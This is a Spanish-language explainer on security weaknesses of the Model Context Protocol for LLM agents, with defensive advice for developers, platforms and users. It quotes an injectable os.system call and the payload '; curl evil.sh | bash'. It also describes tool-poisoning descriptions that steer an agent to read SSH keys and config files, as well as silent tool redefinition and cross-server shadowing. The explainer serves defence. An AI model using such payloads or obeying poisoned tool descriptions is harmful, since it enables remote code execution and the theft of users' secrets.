La “S” de MCP significa seguridad

• Model Context Protocol (MCP) está llamando la atención como un estándar para conectar agentes LLM como Claude, GPT y Cursor con herramientas y datos, pero su modelo de seguridad por defecto es débil, por lo que su adopción puede ampliar la superficie de ataque
• La conexión con APIs estándar, las sesiones persistentes, la ejecución de comandos y el intercambio de contexto se vuelven más convenientes, pero conectar servidores arbitrarios puede convertirse en una ruta alternativa hacia shells, secretos e infraestructura
• En las pruebas de Equixly, más del 43% de las implementaciones de servidores MCP incluían llamadas de shell inseguras, e Invariant Labs abordó el Tool Poisoning Attack, que oculta instrucciones maliciosas en las descripciones de herramientas
• MCP carece de estándares de autenticación, cifrado de contexto y verificación de integridad de herramientas, y a los usuarios les resulta difícil ver todas las instrucciones de herramientas que el agente realmente lee
• Los desarrolladores deben validar entradas y fijar versiones; las plataformas deben mostrar metadatos y hashes de integridad; y los usuarios deben vigilar las conexiones a servidores arbitrarios y las actualizaciones inesperadas de herramientas

---

Por qué MCP se convierte en una superficie de ataque

• MCP (Model Context Protocol) es un nuevo estándar para la forma en que los LLM se integran con herramientas y datos, y se lo llama el “USB-C para agentes de IA”
• A través de MCP, los agentes pueden manejar varias tareas de manera estandarizada
  • Conectarse a herramientas mediante APIs estandarizadas
  • Mantener sesiones persistentes
  • Ejecutar comandos
  • Compartir contexto entre flujos de trabajo
• El problema central es que MCP no ofrece un modelo de seguridad por defecto
  • Si se conecta un agente a un servidor MCP arbitrario, puede surgir un canal lateral hacia shells, secretos e infraestructura

Métodos de ataque mencionados en la práctica

• Vulnerabilidad de inyección de comandos

  • En las pruebas de Equixly, más del 43% de las implementaciones de servidores MCP incluían llamadas de shell inseguras
  • El código de ejemplo combina directamente la entrada del usuario con un comando de shell, como os.system("notify-send " + notification_info['msg'])
  • Si un atacante inserta un payload como "; curl evil.sh | bash" en los parámetros de una herramienta MCP, podría producirse ejecución remota de código a través de un agente confiable

• Tool Poisoning Attack

  • El ataque tratado por Invariant Labs oculta instrucciones maliciosas dentro de la descripción de una herramienta MCP
  • Esta descripción no es visible para el usuario, pero sí queda expuesta tal cual a la IA
  • La herramienta de ejemplo parece una función que suma dos números, pero en su descripción incluye instrucciones para leer ~/.ssh/id_rsa y ~/.cursor/mcp.json
  • Agentes como Cursor podrían seguir ese tipo de instrucciones

• Silent Redefinition

  • Las herramientas MCP pueden cambiar su propia definición después de ser instaladas
  • Aunque el usuario haya aprobado el primer día una herramienta que parecía segura, más adelante podría cambiar silenciosamente para enviar claves de API al atacante
  • Esto puede verse como un problema de cadena de suministro que entra al interior del LLM

• Cross-Server Tool Shadowing

  • Cuando varios servidores están conectados al mismo agente, un servidor malicioso puede sobrescribir o interceptar llamadas dirigidas a un servidor confiable
  • Los posibles resultados incluyen:
    • Enviar al atacante un correo que parece haber sido enviado al usuario
    • Insertar lógica encubierta en una herramienta no relacionada
    • Codificar la exfiltración de datos mediante argumentos poco visibles

Controles de seguridad ausentes y respuestas por rol

• La prioridad actual de MCP está más cerca de la integración sencilla y una interfaz unificada, y le faltan las siguientes funciones de seguridad:
  • No hay estándar de autenticación
  • No hay cifrado de contexto
  • No hay método para verificar la integridad de las herramientas
• Los usuarios no pueden revisar todas las instrucciones de herramientas que ve el agente, ni existe un mecanismo para verificar que “esta herramienta no fue manipulada”

• Desarrolladores

  • Usar validación de entradas
  • Fijar las versiones de servidores y herramientas MCP
  • Depurar las descripciones de herramientas

• Creadores de plataformas

  • Mostrar todos los metadatos de las herramientas
  • Usar hashes de integridad para las actualizaciones de servidores
  • Aplicar seguridad de sesión de forma obligatoria

• Usuarios

  • No conectarse a servidores arbitrarios
  • Monitorear el comportamiento de las sesiones como si fueran logs de producción
  • Vigilar actualizaciones inesperadas de herramientas

Idea de ScanMCP.com

• ScanMCP.com podría incluir un escáner y un dashboard para auditar herramientas MCP conectadas
• Podría mostrar lo siguiente:
  • Riesgos como RCE, contaminación de herramientas y fugas de sesión
  • La diferencia entre la información que ve el usuario y la información que ve el agente
• Sus públicos adecuados son equipos de seguridad de plataformas de agentes, startups de infraestructura de IA y creadores independientes de herramientas que priorizan la confianza
• MCP es potente, pero hasta que cuente con un protocolo de seguridad por defecto, se necesitan herramientas que aporten visibilidad y control